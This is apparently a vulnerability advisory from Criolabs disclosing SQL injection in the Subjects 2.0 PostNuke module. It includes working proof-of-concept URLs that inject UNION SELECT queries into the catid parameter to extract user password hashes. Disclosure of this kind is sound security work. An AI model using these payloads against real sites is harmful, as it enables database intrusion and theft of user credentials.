subjects2.txt

`****************************************************************************************************  
CRIOLABS  
  
  
- Software: Subjects 2.0   
- Type: Postnuke module  
- Vendor: Postnuke Modules Factory.  
  
  
  
****************************************************************************************************  
  
  
  
## Software ##  
  
Software: Subjects Postnuke module  
Version: 2.0  
Plataforms: Unix/Win/PHP/MySQL/Postnuke  
Web: http://home.postnuke.ru  
  
  
## Vendor Description ##  
  
Module is designed for structured store & display text content with a possibility to store  
content in file on the disc. Probably, the best one for converting existing based on HTML pages  
site to PostNuke.  
  
  
  
## Vulnerabilities ##  
  
Sql-Injection in pageid, subid, catid variables.  
  
  
  
## Sql-Injection ##  
  
  
The previous variables are vulnerables to SQL-Injection attacks.  
These SQL injection vulnerabilities allow a remote user to inject arbitrary SQL commands.  
  
/index.php?module=subjects&func=listpages&subid=[SQL]  
/index.php?module=subjects&func=viewpage&pageid=[SQL]  
/index.php?module=subjects&func=listcat&catid=[SQL]  
  
  
## Proof of Concept ##  
  
  
URL to retrieve the MD5 password hash of a user. This POC needs UNION functionality enabled in Mysql to retrieve  
the hash.  
  
/index.php?module=subjects&func=listcat&catid=1%20UNION%20SELECT%20null,null,pn_pass,null,null,null,null,null  
%20FROM%20nuke_users%20WHERE%20pn_uname='yourname'/*  
  
/index.php?module=subjects&func=listcat&catid=1%20UNION%20SELECT%20null,null,pn_pass,null,null,null,null,null  
%20FROM%20nuke_users%20WHERE%20pn_uid=2/*   
  
  
  
## History ##  
  
  
Vendor contacted but no response.  
  
  
  
## Solution ##  
  
  
There is no solution at this time, we recommend to remove immediately this module  
  
  
  
## Credits ##  
  
  
Criolabs staff  
http://www.criolabs.net   
  
`